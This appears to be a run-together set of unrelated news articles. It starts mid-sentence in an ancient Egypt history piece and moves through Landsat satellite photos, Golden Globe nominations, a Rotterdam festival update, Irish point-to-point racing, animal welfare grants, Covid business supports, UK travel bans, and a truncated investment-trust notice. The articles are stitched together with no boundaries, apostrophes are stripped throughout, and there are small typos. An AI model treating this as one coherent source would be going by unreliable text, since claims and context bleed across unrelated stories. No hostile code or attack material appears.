by soldiers to a ruler in exchange for gold. Scholars often refer to dynasties 18 to 20 as encompassing the "New Kingdom," a period that lasted around 1550 to 1070 B.C. This period took place after the Hyksos had been defeated by a series of Egyptian rulers and the country reunited. Perhaps the most famous archaeological site from the New Kingdom is the Valley of the Kings , which holds the burial sites of many Egyptian rulers from this period, including Tutankhamun (reign circa 1336 to 1327 B.C.), whose rich tomb was found intact in1922. The pharaohs stopped building pyramids during the New Kingdom for a variety of reasons one of which was to provide better security against tomb robbers. The 21st to 24th dynasties (a period from around 1070 to 713 B.C.) are often called the "Third Intermediate Period" by modern-day scholars. The central government was sometimes weak during this time period, and the country was not always united. During this time cities and civilizations across the Middle East had been destroyed by people from the Aegean, whom modern-day scholars sometimes call the "Sea Peoples." While Egyptian rulers claimed to have defeated the Sea Peoples in battle, it didn't prevent Egyptian civilization from collapsing. The loss of trade routes and revenue may have played a role in the weakening of Egypt's central government. (Image credit: Fine Art Images/Heritage Images/Getty Images) Dynasties 25 to 31 (from around 712 to 332 B.C.) are often referred to as the "Late Period" by scholars. Egypt was sometimes under the control of foreign powers during this time. The rulers of the 25th dynasty were from Nubia, an area located in modern-day southern Egypt and northern Sudan. The Persians and Assyrians also controlled Egypt at different times during the Late Period. In 332 B.C. Alexander the Great drove the Persians out of Egypt and incorporated the country into the Macedonian Empire. After Alexander the Great's death, a line of rulers descended from Ptolemy Soter, one of Alexander's generals, came to power. The last of these "Ptolemaic" rulers (as scholars often call them) was Cleopatra VII , who died by suicide in 30 B.C after the defeat of her forces by Octavian, who would later be named the Roman emperor Augustus, at the Battle of Actium . After her death, Egypt was incorporated into the Roman Empire . Although the Roman emperors were based in Rome, the Egyptians treated them as pharaohs. One excavated carving shows the emperor Claudius (reign A.D. 41 to 54) dressed as a pharaoh, Live Science reported . The carving has hieroglyphic inscriptions saying that Claudius is the "Son of Ra, Lord of the Crowns," and "King of Upper and Lower Egypt, Lord of the Two Lands." Neither the Ptolemaic or Roman rulers are considered to be part of a numbered dynasty. Religion An entire avenue of ram-headed statues connected Karnak Temple to Luxor Temple. (Image credit: Egyptian Ministry of Tourism and Antiquities) Throughout much of Egypt's ancient history its people followed a polytheistic religion in which a vast number of gods and goddesses were venerated. One of the most important was Osiris, god of the underworld. Abydos was an important cult center for him, and numerous temples and shrines were constructed at the site in his honor. Amun-Ra a god associated with the sun became particularly important during the New Kingdom and was associated with the city of Luxor (ancient Thebes). The Karnak Temple complex was built near Luxor in honor of this god. Navigating the underworld was vital to the ancient Egyptians, who believed that the dead could reach a paradise of sorts, where they could live forever. Egyptian dead were sometimes mummified, preserving the body, and were sometimes buried with spells to aid them in navigating the underworld. These spells included excerpts from what are sometimes called the "Book of the Dead" a 13 foot-long (4 meters) copy of which was recently found in an ancient burial shaft, Live Science reported . In ancient Egyptian mythology, one of the first steps in navigating the underworld was to weigh a person's deeds against the feather of Maat, who was a god associated with truth, justice and order. If the person had committed a great deal of wrong, the person's heart would be heavier than the feather and the person's soul would be obliterated. On the other hand, if their deeds were generally good, they passed forward and had the opportunity to successfully navigate the underworld. Figurines called shabti were often buried with the deceased. Their purpose was to do the deceased's work in the afterlife for them. Egyptian religion did not remain static but changed over time. One major change occurred during the reign of the pharaoh Akhenaten (circa 1353 to 1335 B.C.), a ruler who unleashed a religious revolution that saw Egyptian religion become focused around the worship of "Aten" the sun disk. Akhenaten built an entirely new capital in the desert at Amarna and ordered the names of some of Egypt's deities to be defaced. After Akhenaten's death his son, Tutankhamun, denounced him and returned ancient Egypt to its previous polytheistic religion. When Egypt came under Greek and Roman rule, the new rulers' gods and goddesses were incorporated into Egyptian religion. Another major change occurred after the first century A.D. when Christianity spread throughout Egypt. At this time Gnosticism, a religion that incorporated some Christian beliefs, also spread throughout Egypt, and a large corpus of Gnostic texts were discovered in 1945 in southern Egypt near the city of Nag Hammadi. Islam spread throughout the country after A.D. 641, when the country was captured by a Muslim army. Today, Islam is practiced by the majority of Egypt's inhabitants, while a minority are Christian, many being part of the Coptic Church. Egyptian writing The earliest inscriptions date back about 5,200 years and were written in a hieroglyphic script. "Ancient Egyptian was a living oral language, and most hieroglyphs represent the sounds of consonants and certain emphatically expressed vowels," wrote Barry Kemp, a professor of Egyptology at the University of Cambridge, England, in his book " 100 Hieroglyphs: Think Like an Egyptian " (Granta Books, 2005). Kemp noted that the ancient Egyptians also developed "an abbreviated 'long hand' form of writing which we call 'hieratic.'" During the first millennium A.D. this abbreviated hieratic script was supplanted by a new form of short-form writing called "Demotic." Egyptian language changed over the millennia, with scholars often subdividing the surviving writings into categories such as "Old Egyptian," "Middle Egyptian" and "Late Egyptian." The Greek language became widely used in the time after Egypt was conquered by Alexander the Great. In the late 19th century, archaeologists excavated half a million papyri fragments, most of which were written in Greek, at the ancient Egyptian town of Oxyrhynchus in southern Egypt, dating to the early centuries A.D. Coptic, an Egyptian language that uses the Greek alphabet, was widely used after Christianity spread throughout Egypt. As Greek and Coptic grew in popularity, the use of the hieroglyphic writing style declined and became extinct during the fifth century A.D. After A.D. 641 the Arabic language spread in Egypt and is widely used in the country today. Additional resources The following amazing images of Earth from space were snapped by satellites in the Landsat project , a joint venture between NASA and the U.S. Geological Survey. The project is the longest continuous space-based record of Earth in existence. A total of eight Landsat satellites have been launched into space since 1972, with a ninth set to launch in September. In that time, the satellites have captured more than 9 million images of the planet's surface, which have been used in more than 18,000 scientific papers, according to NASA's Earth Observatory . Related: In photos: Jaw-dropping images reveal science is amazing Where the dunes end (Image credit: Joshua Stevens/NASA Earth Observatory) This image, captured by Landsat 8 on Nov. 13, 2019, shows the striking color contrast between the Namib Sand Sea, the world's only coastal desert, covering more than 10,000 square miles (26,000 square kilometers), and the rocky mountains of the Namib-Naukluft Park, both in Namibia. The sand appears a reddish-orange color due to the presence of iron oxide. The Kuiseb River, which is prone to flooding, stops the sand from spilling over into the mountains, according to the Earth Observatory . Related: Photos: Stunning shots of the natural world and wildlife Yukon-Kuskokwim in colorful transition (Image credit: Joshua Stevens/NASA Earth Observatory) This image of the Yukon-Kuskokwim Delta, where the Yukon River spills into the Bering Sea in Alaska, was taken on May 19, 2021, by Landsat 8. The colors on land have been enhanced in this photo: Green highlights the area of live vegetation; yellow is bare ground; and light brown is dead vegetation. "The Yukon Delta is an exceptionally vivid landscape, whether viewed from the ground, from the air or from low-Earth orbit," Gerald Frost, a scientist at ABR, Inc Environmental Research and Services in Alaska, told the Earth Observatory . From Russia with questions (Image credit: Joshua Stevens/NASA Earth Observatory) Landsat 8 captured this photo of bizarre ripples in the hills surrounding the Markha River in northern Russia on Oct. 29, 2020. The alternating light and dark stripes are visible throughout the year but are more pronounced in winter. Scientists aren't exactly sure why the pattern exists. It could have emerged because of the constant freezing and melting of permafrost or due to some kind of unique erosion from rainfall or snowmelt, but NASA remains unsure, Live Science previously reported . Winds trigger pond growth (Image credit: Joshua Stevens/NASA Earth Observatory) This striking image of the Atchafalaya Delta in Louisiana was taken by Landsat 8 on Dec. 1, 2016. It is a false-color image, meaning that the colors have been altered, which "emphasizes the difference between land and water, while allowing viewers to observe waterborne sediment," according to the Earth Observatory . It is one of 10,000 Landsat images of the region taken between 1982 and 2016, which were used in a study published in Geophysical Research Letters that looked at the role wind plays in pond expansion on the Mississippi River Delta Plain. Ginseng farms in northern China (Image credit: Joshua Stevens/NASA Earth Observatory) On Sept. 25, 2017, Landsat 8 captured this image of blue, purple and yellow structures covering large areas of farmland in Heilongjiang province in northeastern China. The structures are plastic shade covers used to grow ginseng a slow-growing root plant that looks very similar to ginger but can't survive in direct sunlight. In many Asian countries, ginseng is believed to have a wide range of medicinal properties, and farming the plant has become a multi-billion dollar business, according to the Earth Observatory . Painting Pennsylvania hills (Image credit: Joshua Stevens/NASA Earth Observatory) This impressive image combines a satellite image of folded mountains warped mountains formed at the boundary between two tectonic plates in central Pennsylvania, taken by Landsat 8 on Nov. 9, 2020, with a digital elevation model to highlight the topography of the area. The mountains are part of a unique geological region of the Appalachian Mountains, known as the Valley and Ridge province , which stretches from New York to Alabama. As well as showing off the unusual shapes of the mountains, this natural-color image also reveals the autumnal palette of colors created as leaves turn red and begin to fall from deciduous trees, according to the Earth Observatory . Jason and the Bloomonauts (Image credit: Joshua Stevens/NASA Earth Observatory) This stunning natural-color image of an algal bloom surrounding the western Jason Islands, an archipelago in the South Atlantic Ocean, was taken by Landsat 8 on Oct. 18, 2020. The milky blue swirls are caused by the rapid growth of photosynthetic algae , which thrive in the nutrient-rich waters that have been enriched by the Malvinas Current a spin-off of the Circumpolar Current of the Southern Ocean, which draws up nutrients from the deep ocean, according to the Earth Observatory . Lake Natron (Image credit: Joshua Stevens/NASA Earth Observatory) This striking aerial photo of the blood-red Lake Natron in Tanzania was taken by Landsat 8 on March 6, 2017. Lake Natron is an alkaline lake. The dramatic color is fueled by molten mixtures of sodium carbonate and calcium carbonate salts from nearby volcanoes that enter the water via hot springs. With temperatures averaging 104 degrees Fahrenheit (40 degrees Celsius) and less than 19.7 inches (500 millimeters) of rainfall a year, it is one of the harshest environments on Earth, according to the Earth Observatory . Volcano tracking in the South Sandwich Islands (Image credit: Lauren Dauphin/NASA Earth Observatory) On 7 Nov. 2021 the Landsat 8 obtained this image of Mount Michael - a 2,765 foot (843 meter) volcano located in the South Sandwich Islands in the South Atlantic, according to the Smithsonian Institution. Usually, satellite imagery of this stratovolcano (a steep-sloped and cone-shaped volcano) is masked by cloud coverage, according to NASAs Earth Observatory. However, in this image, a trail to Mount Michael is revealed by white steam produced by volcanic gas and particles interacting with passing clouds. The inclusion of the volcanic particles makes the passing clouds appear brighter due to the creation of more cloud droplets, according to NASA. Around the summit of the volcano is a triangular wave cloud which is created when mountains and volcanoes break the path of passing clouds, in the same way that moving your finger through water creates waves and ripples. Icy art in the Sannikov Strait (Image credit: Lauren Dauphin/NASA Earth Observatory) This fascinating photo of the Sannikov Strait a body of water sandwiched between the New Siberian Islands north of mainland Russia was taken by Landsat 8 on June 5, 2016. The strait connects the Laptev Sea to the west with the Siberian Sea to the east; the strait remains covered in ice for the majority of the year, Live Science previously reported . This photo shows the ice sheet breaking apart during the summer melt and creating a picturesque panorama of icy puzzle pieces. Windswept ice shelf in Weddell Sea (Image credit: oshua Stevens/NASA Earth Observatory) Sea ice typically gathers around the perimeter of an ice shelf, such as Antarcticas Ronne Ice Shelf seen in this image. However, on 20 Nov 2021, Landsat 8 snapped this shot of a different sea ice type floating in a wide strip of water in the Weddell Sea created by strong winds, according to NASAs Earth Observatory. Between the thick Ronne Ice Shelf in the lower right corner of the image and the multi-layered sea ice populating the top of the image are sharp ribbons of nilas ice. This needle-like sea ice is made up of young ice crystals called frazil ice. Frazil ice eventually grows into nilas which are no more than around 4 inches (10 centimetres) thick. Where batteries begin (Image credit: Lauren Dauphin/NASA Earth Observatory) This colorful array of cuboids found in the Salar de Atacama a salt flat surrounded by mountains in Chile is actually the world's largest lithium plant, photographed by Landsat 8 on Nov. 4, 2018. Lithium is the main component of batteries needed to power our cars, cellphones, laptops and other rechargeable gadgets. This plant pumps lithium-rich brine from below the surface and diverts it into evaporation pools, where the sun evaporates the water away, leaving pure lithium. The different colors are a result of the varying stages of the evaporating process, according to the Earth Observatory . Originally published on Live Science. Click here to read the full article. On Monday morning, the Hollywood Foreign Press Assn. (HFPA) announced the nominations for the 79th annual Golden Globe Awards and what followed was near radio silence. In the days leading up to the Golden Globe nominations, it was unclear what impact the announcement would have and in the near 12 hours since the film and television nominations were revealed, the answer has been not much. The HFPA, the organization behind the show, is mired in controversy over the historic lack of diversity in its membership and for reportedly questionable ethical practices. Since the scandal exploded in February, the organization made moves to welcome more journalists of color into its ranks and institute new bans on gifts, but the A-list talent that once flocked to its telecast is steering clear until more time has passed. Pose co-creator and showrunner Steven Canals was one of the few nominees to react to his shows latest accolade in real time well, relatively speaking (Canals posted his reaction nearly two hours after the Golden Globes nominations 6:10 a.m. PT start.) While he first tweeted excitement that the show was recognized, he soon followed it up with more context. Pose scored 3 Golden Globe nominations. This affirmation is bittersweet, Canals wrote. Theyll likely be the last of our recognition for the final season. And it comes from an organization that hasnt always been inclusive of the folks centered on our show. In a second tweet, Canals continued, Hoping these nominations mean the HFPA is making an intentional effort to address the criticism theyve received in recent past, and well continue to see acknowledgment and recognition of all the incredible work being produced by BIPOC & LGBTQ+ people. But there were no press releases sent en masse with statements thanking the HFPA and saluting co-stars and filmmakers. Also absent were the emotional reaction calls between journalists and nominees, still recovering from their shock at the big news. Instead, when Variety reached out to the nominated studios and publicists for top talent, most messages went unanswered or were met with a no comment. However, when the Critics Choice Assn. announced its film award nominees three hours later, the industry perked up a bit (or at least collectively exhaled). Only then did some studios, like Disney, release diplomatic posts to social media touting their nominations from both awards bodies. For example, the studio celebrated WandaVisions four Critics Choice Awards nominations in a post that also mentioned its Golden Globes recognition for stars Elizabeth Olsen and Paul Bettany, but did not release an official statement celebrating either set of awards. The Eyes of Tammy Faye and Scenes From a Marriage star Jessica Chastain employed a similar approach, posting a thank you note celebrating all of her nominations at once. Big day for Tammy Faye, the Oscar-nominated actor wrote, thanking her collaborators and both associations for recognizing all of their work on the project. In the Heights director Jon M. Chu shouted out his films star Anthony Ramos for his best actor nomination, as well as Stephanie Beatriz and Lin-Manuel Miranda (the creative mind behind the musical and its WB film adaptation) for their nods for Disneys Encanto and Mirandas directorial debut Tick, Tick Boom! Chu also saluted his Crazy Rich Asians colleagues Adele Lim, Awkwafina and Gemma Chan, as well as his Wicked star Cynthia Erivo for their respective recognitions for Raya and the Last Dragon and Genius: Aretha. Being the Ricardos star Nicole Kidman, Belfasts Jamie Dornan and Caitriona Balfe, Aunjanue Ellis (King Richard), Omar Sy (Lupin), Billy Porter (Pose) and Hannah Waddingham (Ted Lasso) were also among the nominees to share their excitement about the nominations and were re-posted on the Golden Globes official Instagram. But, Netflix, which was one of the first studios to boycott the HFPA, publicly focused on the Critics Choice nods alone in its posts on Monday morning. Though The Power of the Dog shared the top spot for Golden Globes nominees with Focus Features Belfast, both movies only touted their heap of Critics Choice nods on social media. The lack of fanfare shouldnt come as much of a surprise given the smaller number of media attendees at Monday mornings nomination ceremony or the fact that, at the height of the HFPAs controversy, more than 100 PR firms banded together to announce that their clients would no longer participate in exclusive press conferences, interviews and HFPA events until meaningful change had been instituted. Only time will tell if the Golden Globes can be restored to their former luster. Sign up for Varietys Newsletter. For the latest news, follow us on Facebook, Twitter, and Instagram. Click here to read the full article. The International Film Festival Rotterdam (IFFR) has been allowed to maintain its 2022 edition on-site by the Dutch government. The upcoming edition will take place Jan. 26 to Feb. 6. The festival announced last week that its popular industry events, CineMart and Rotterdam Lab, were being switched to online due to the surge of COVID-19 cases in the Netherlands. The government announced today that the Netherlands will extend COVID-19 restrictions through the end of the year, including the closure of primary schools a week before the Christmas holidays. Festival director Vanja Kaludjercic said the festival has adapted its protocol once again to fit the restrictions in place in the Netherlands. We are happy to confirm the festival will take place physically, allowing us to give the stage to all the outstanding filmmakers who have trusted us to screen their work, Kaludjercic said. IFFR will kick off with the world premiere of Mijke de Jongs Along the Way on opening night. De Jongs 12th feature film, Along the Way tells the story of daring, young Afghan twins, Nahid and Malihe, whom the filmmaker met during her volunteer work at camp Moria on the Greek island of Lesbos. Mijke de Jong is a familiar face with a long and rich history at IFFR, first showing here in 1990. Its an honour to welcome her back with this latest poignant and timely film which will open our 51st edition, Kaludjercic said. Anticipated highlights of this 2022 edition include the presentation of Oscar-winning filmmaker Steve McQueens new installation, Sunshine State, at the Dutch landmark Kunsthal. Sign up for Varietys Newsletter. For the latest news, follow us on Facebook, Twitter, and Instagram. Courtesy photo A man and a girl were left in critical condition following a crash in east Laredo where two other children were also injured, according to first responders. The crash was reported at about 8 a.m. Tuesday, when Laredo Fire Department crews responded to the intersection of Texas 359 and EG Ranch Road. The beginning of the school year when you got to show off your new duds, new cars, new looks! Sports! Playing, cheering, watching high school athletics. The arts: Dramatic arts, musical groups and shows, graphic arts groups, debate, etc. The prom! No dancing the night away or punch bowl antics. The daily interactions. Just being with the group, hanging with friends and classmates. Access to college recruiters and advisors its harder to line up higher education. Walking onstage to get a diploma while all the family is watching with everyone elses family. Vote View Results After a three year break, due to bad weather and Covid-19, Ballinalee was, once again, the centre of attention with the staging of the annual Longford Westmeath Point to Point race meeting at Corbeagh House. 2021 has been a very challenging year for point to point racing with many being impacted by weather and the availability of insurance for such events. The McGreal family, who own the venue, worked with a small and dedicated team of volunteers, including members of the local Longford Harriers, to get the track ready in advance of the event. The Turf Club inspected the course on Friday and deemed the going as Yielding, Soft in places ideal for racing. With the largest entry ever, 132 entries, a decision was made to bring the start time back to 11:30am. Final checks were made on Sunday morning, December 5 to make sure all was ready and in place for the final inspection. Happily, the Turf Club inspection was positive and it was all systems go for the first race. At these fixtures six races are scheduled to be run, based mainly on the age of the horse. For example, 4 year old maiden race. These maiden races are viewed as a nursery for future National Hunt racehorses. The Open Lightweight race is open to most horses and is generally contested by horses that have already made a name for themselves on the racecourse. These horses then go on to run in Hunter Chases at Punchestown, Cheltenham and Aintree. Corbeagh House is a dairy farm which is adapted to form a racecourse for the day and returns to its agricultural status once the day is over. The track at Corbeagh is a perfect oval of one mile with five National Hunt fences and horses complete three circuits in every race. Each race was run over three miles with 16 fences to be negotiated. The location is a natural amphitheatre which means that spectators have a birds eye view and can get close to all the action. On the day we had 68 runners, owned by individuals and syndicates who subscribe to 33 various hunts in 20 different counties. 52 trainers were represented and 31 amateur jockeys took part. Horses travelled from north, south, east and west and as far away as Antrim and Cork. Over 10,000 was awarded in prize money. In the sixth race for 6 year olds and upwards, the Irish National Hunt Steeplechase Committee generously sponsored a bonus of 1,000 to the winning owner. There was great demand for the first race, the Tattersalls NH 4 year old Maiden. Many of these young horses were competing for a place in the Cheltenham sales. Due to the large number of entries in the first race, it had to be divided. In the first division, in what was a steadily run race the favourite So Scottish and Faulty quickened notably turning into the home straight and pulled clear only for Faulty to fall two out when disputing. This left the So Scottish clear for Emmet Mullins and continued the rich vein of form for jockey Eoin O'Brien. In the second division, Kalanisi Star made the long journey from Dungourney in Cork for the Ahern family worthwhile when winning under Johnny Barry. Travelling well into business end, he led from two out to score. Kalanisi Star was offered for sale at the Tattersalls Cheltenham December Sale, making Stg65,000. Sean Powell, John McGuinness & Paul Fay Bookmaker 5yo Geldings Maiden was the second race on the card. In a strongly run race, newcomer Hot Rod Lincoln made all the running under Ben Harvey to provide wife and husband team of Riceal and Larry Dunne from Enniskerry in Wicklow who also bred the winner with a first success. The winner had his rivals well strung out here. He is another who headed to the Tattersalls Cheltenham December Sale achieving Stg78,000. The Irish Netting & Reilly Structural Ltd 6yo+ Mares Maiden saw Smiths Girl gets off the mark on her third start between the flags for her Fairyhouse based handler. Placed previously at Castletown-Geoghegan and Tattersalls already this term, Smiths Girl asserted before two out and may now be seen on the track over the Christmas period. This was also the second win on the day for jockey Ben Harvey. The fourth race, Connollys Red Mills & The Sportsmans Inn Winner Of Three, saw odd on favourite Ask D'Man record his fourth win between the flags and in doing so brings up a first career treble for Ben Harvey. The recent Portrush winner made all the running and may now be targeted at a Clonmel Hunters Chase in the spring according to the winning handler. Last Mays Necarne winner Kates Hill makes her start in open company a winning one under Noel McParlan in the Quinns of Edgeworthstown Mares Open. Pulling clear with the runner-up in the straight, the close relation to the Smyths familys Tammys Hill, will now most likely contest a Thurles mares bumper in a couple of weeks time. Rawles & The INHSC 6yo+ Maiden saw 13 going to post. Having pulled up on his debut at Tralee last May, No More Lockdown stepped up well here to score at the second time of asking for Carlow owner and breeder Arthur McDonald and jockey Pa King. Winning handler Willie Murphy will discuss the win with the owners before making any future plans. On a beautiful winters day, Christopher Whyte and Liam Dillon, both members of the Longford Harriers, provided an added spectacle for the occasion. They, with their trusted hunting horses, acted as mounted stewards for the day. Their job was to catch any loose horses on the track. Thankfully they werent too busy. With bookmakers in attendance and a live commentary on each race, a great atmosphere prevailed on the day. Horseracing Ireland contribute a grant towards the staging of the event and without this support, Point to Point racing would not happen. The local community again rose to the occasion with sponsors from Longford, Ballinalee and Edgeworthstown. The Committee would like to acknowledge all the businesses that provided sponsorship and these were recognised in the published race card. The comments from owners, trainers and jockeys were very positive. The Turf Club complimented the committee on a well organised and excellent event. The Committee would like to thank all those who worked tirelessly in preparing the venue, coordinating all the activities on the day and everyone who supported us on the day. At the Tattersalls Cheltenham December Sale on December 10, six of Sundays runners found new homes. In total they made almost 425,000 (Stg362,000). Hawaii Du Mestivel, third in Division 2 of the Tattersalls NH 4 year old Maiden made Stg100k. We wish them luck in their future careers. Funding of 710,000 has been allocated to two Longford based animal welfare organisations. The announcement was made today (Wednesday, December 15) by Minister for Agriculture, Food and the Marine, Charlie McConalogue as part of an overall funding package of over 3.7million to 98 animal welfare organisations nationwide. The ISPCA's National Animal Centre at Kenagh is to receive 615,000, with an allocation of 95,000 going to Hungry Horse Outside in Newtownforbes. Operation Blue Santa supporting worthy local causes across Longford As we draw nearer to Christmas, Operation Blue Santa is in full swing with Community Policing Units in Granard and Longford, in association with Longford PPN, working hard to continue raising funds for worthy local groups and organisations. The funding announcement was made on the inaugural Animal Welfare Awareness Day #AWD21, an initiative of the Minister to raise awareness of animal welfare. Making the announcement the Minister said the funding for animal welfare organisations was evidence of the Governments ongoing commitment to the animal welfare and acknowledged the important role played by animal welfare organisations. To mark #AWD21, the Minister visited donkeys housed at Farmleigh Estate together with the Donkey Sanctuary and visited the DSPCA headquarters in Rathfarnham, Dublin. Minister McConalogue said, I am delighted that on the first ever Animal Welfare Awareness Day #AWD21, I can acknowledge the fantastic effort and commitment of our amazing animal welfare organisations and, indeed, the many volunteers dedicated to animal welfare. These organisation play such a crucial role in ensuring all our animals are cared for and protected. This is frontline work that we can all be proud of. In line with our commitment in the Programme for Government, these awards mark the largest award of grant funding to animal welfare bodies ever made by my Department. This additional support will make a real difference to the welfare of animals nationwide. Funding to Longford organisations ISPA National Animal Centre, Derryglogher, Kenagh, Co Longford 615,000 Hungry Horse Outside, Currygranny, Newtownforbes, Co Longford 95,000 Around the Region Cavan Society for the Prevention of Cruelty to Animals, Shankill, Cavan 34,500 Fairyglen Community Animal Sanctuary, Greaghnafarna Mor, Arigna, Co Roscommon, N41 P738 11,000 Irish Horse Rehoming Programme, Kilcappa, Cloneygowan, Co Offaly 13,000 Kitten Cottage, Virginia, Co. Cavan 6,000 Leitrim Animal Welfare Centre Ltd., Barraghmore, Drumkeeran, Co Leitrim 24,000 Offaly SPCA, Market Place, off Market Square, Tullamore, Co Offaly 25,500 Roscommon SPCA, Castlerea, Co Roscommon 27,500 Royal Dog Rescue, Tullyco, Cootehill, Co Cavan 3,500 TNR South Roscommon, Cloondray, Mount Talbot, Co Roscommon 4,000 Westmeath SPCA, Ballinea, Mullingar, Co Westmeath 16,000 Referencing the One Health, One Welfare ethos outlined in the Animal Welfare Strategy 2021-2025, the Minister cited the relationship between animal and human welfare. Animal welfare is increasingly important to Irish citizens, and we are ever more aware of the inter-relationship between the welfare of animals and human wellbeing. Maintaining animal welfare standards is the responsibility of everyone in our society; for those who own, care for, or are responsible for animals, whether on farm or at home. The Minister added that the awards align with the ambitions of the Animal Welfare Strategy 2021-2025: To, ensure that funding for animal welfare bodies has the most impact nationwide, this year, my Department has aligned our funding model with the animal welfare policies, objectives and priorities outlined in the new Animal Welfare Strategy 2021-2025. Consequently, this years funding places an emphasis on the One Health, One Welfare approach, education and dissemination of knowledge to improve animal welfare. The Minister urged people to think carefully before getting a pet this Christmas. "A pet can bring great joy, but with that comes responsibility. Owning and caring for a pet is a major, long-term commitment. There is excellent advice on my Departments website and from many of the welfare organisations please think carefully before deciding to buy a puppy this Christmas and take responsibility for your choice. Finally, the Minister said that he and his Department will continue to work closely with animal welfare groups and other stakeholders in the promotion of animal welfare. The Minister reminded the public that the Department operates a dedicated email address and helpline for members of the public to report incidents of animal neglect and cruelty. More information is available HERE Animal Welfare Helpline Call Save: 0761 064408 Phone: 01-607 2379 Dedicated email address - animalwelfare@agriculture.gov.ie Over 200 employers and businesses in Longford have availed of Covid-19 financial supports, Longford Senator Micheal Carrigy has revealed. Senator Carrigy said Fine Gael in Government has prioritised targeted supports for workers and businesses since the pandemic began, and that is reflected in the numbers availing of the Employment Wage Subsidy Scheme (EWSS) the COVID Restrictions Support Scheme (CRSS) and Business Resumption Support Scheme (BRSS) in Longford. Senator Carrigy said: New data provided to me by the Department of Finance shows 1290 employers and employees are currently being supported by the Employment Wage Subsidy Scheme (EWSS) in Longford. The number is based on payslips filed with Revenue by employers for November 2021, the most recent month for which complete data exists 1120 employees and 170 businesses in Longford have been supported by EWSS. The EWSS represents a substantial and key part of this Governments response to the current crisis. The scheme has played a central role in supporting businesses, encouraging employment and helping to maintain the link between employers and employees. I am also advised that 205 business are also being supported by the COVID Restrictions Support Scheme (CRSS) in county since the scheme was introduced. CRSS support is available to eligible businesses whose activity has been impacted by COVID-19 restrictions. The Business Resumption Support Scheme (BRSS) is for businesses with reduced turnover as a result of public health restrictions. Registration for BRSS opened on 6 September 2021 and the closing date for applications was 30 November 2021. As of 9 December 2021, 20 Longford businesses received support through the scheme since its inception. In total, 22,100 businesses (covering 25,500 unique premises) have claimed under CRSS and 24,300 businesses have been supported through the Employment Wage Subsidy Scheme (EWSS). We know that businesses and entrepreneurs are the bedrock of our economy and our communities, and Fine Gael have not been found wanting in supporting them through this pandemic. We are helping businesses survive through a robust and sustained programme of financial supports, with over 20 billion in direct supports to help the economy and households to date. The Department of Finance estimates that we will have spent 48 billion to support businesses and workers by the end of 2022. Last week Minister Donohoe announced that he is maintaining the enhanced rates of subsidy under the EWSS for a further two months until the end of January to support businesses affected by new Covid restrictions which came into effect last week. The end-date of the CRSS was also extended to 31 January 2022 to align with the requirement for nightclubs and discos to close until 9 January 2022 under the Health Regulations. I would like to thank my Government colleagues for their continued commitment in supporting the business community here in Longford." (Alliance News) - The UK government on Wednesday lifted travel bans on South Africa and 10 other African countries, potentially providing some relief to the embattled South African tourism industry. At the moment, the UK has no country or territory on its red list of travel restrictions despite the persistent threat of the new Omicron variant of Covid-19. The World Health Organisation warned on Tuesday that Omicron was spreading at an unprecedented rate and urged countries to act. WHO Chief Tedros Adhanom Ghebreyesus told reporters the strain had been reported in 77 countries and "probably" spread to most nations undetected "at a rate we have not seen with any previous variant". From 0600 SAT, or 0400 GMT, on Wednesday, Angola, Botswana, Eswatini, Lesotho, Malawi, Mozambique, Namibia, Nigeria, South Africa, Zambia and Zimbabwe were removed off the red list. The UK imposed temporary ban on flights from South Africa, Botswana, Eswatini, Lesotho, Namibia and Zimbabwe on November 26 following the discovery of the new strain that is designated a variant of concerns by the WHO. Two days later, Angola, Malawi, Mozambique and Zambia were added to the UK red list. This meant that people arriving in the UK from these African countries were required to spend 11 nights in a quarantine hotel at a cost of GBP2,285 for solo travellers, potentially discouraging UK travellers from visiting South Africa. Over 430,000 British tourists visited South Africa in 2019. South Africa announced Omicron, also known as B.1.1529, on November 25, prompting several countries to shut their borders on South Africa. Omicron is believed to be highly contagious, but evidence suggests that this new strain causes mild illness. By Artwell Dlamini; artwelldlamini@alliancenews.com Copyright 2021 Alliance News Limited. All Rights Reserved. NOT FOR RELEASE, PUBLICATION OR DISTRIBUTION IN WHOLE OR IN PART, IN OR INTO THE UNITED STATES, CANADA, AUSTRALIA, JAPAN OR SOUTH AFRICA OR ANY JURISDICTION FOR WHICH THE SAME COULD BE UNLAWFUL. THE INFORMATION CONTAINED HEREIN DOES NOT CONSTITUTE AN OFFER OF SECURITIES FOR SALE IN ANY JURISDICTION, INCLUDING IN THE UNITED STATES, CANADA, AUSTRALIA, JAPAN OR THE REPUBLIC OF SOUTH AFRICA. Amati AIM VCT plc 15 December 2021 Amati AIM VCT plc (the "Company") Legal Entity Identifier: 213800HAEDBBK9RWCD25 Update on offer for subscription The Board of Amati AIM VCT plc (the "Company") announced on 28 July 2021 that the Company had published a prospectus (the "Prospectus") in connection with proposals to raise up to 40,000,000 (with an over-allotment facility to raise up to a further 25,000,000), by way of an offer for subscription of new ordinary shares (the "Offer"). Full details of the Offer are contained in the Prospectus. The Company announced on 4 August 2021 that 40,000,000 had been raised under the Offer and that the Board had decided not to utilise the over-allotment facility at that time. However, the Company has continued to identify attractive investment opportunities and, having considered the current rate of investment activity, the Board is pleased to announce that it intends to utilise the over-allotment facility and to re-open the Offer in February 2022, subject to market conditions. The Company will make a further announcement in relation to the re-opening of the Offer in due course. The Prospectus is available at www.amatiglobal.com and https://data.fca.org.uk/#/nsm/nationalstoragemechanism. For further information, please contact the investor line at Amati Global Investors on 0131 503 9115 or by email at info@amatiglobal.com. Notes This Announcement is an advertisement for the purposes of the Prospectus Regulation Rules of the UK Financial Conduct Authority ("FCA") and is not a prospectus. This Announcement does not constitute or form part of, and should not be construed as, an offer for sale or subscription of, or solicitation of any offer to subscribe for or to acquire, any ordinary shares in Amati AIM VCT plc (the "Company") in any jurisdiction, including in or into Australia, Canada, Japan, the Republic of South Africa, the United States or any member state of the EEA (other than any member state of the EEA where the Company's securities may be lawfully marketed). Investors should not subscribe for or purchase any ordinary shares referred to in this Announcement except on the basis of information in the prospectus (the "Prospectus") in its final form, published on 28 July 2021 by Amati AIM VCT plc in connection with the proposed admission of new ordinary shares to the premium segment of the Official List of the FCA and to trading on London Stock Exchange plc's main market for listed securities. A copy of the Prospectus is available for inspection, subject to certain access restrictions, from the Company's registered office, for viewing at the National Storage Mechanism at https://data.fca.org.uk/#/nsm/nationalstoragemechanism and on the Company's website (www.amatiglobal.com). Approval of the Prospectus by the FCA should not be understood as an endorsement of the securities that are the subject of the Prospectus. Potential investors are recommended to read the Prospectus before making an investment decision in order to fully understand the potential risks and rewards associated with a decision to invest in the Company's securities. This Announcement does not constitute a recommendation concerning the Company or the Offer. The price and value of securities and any income from them 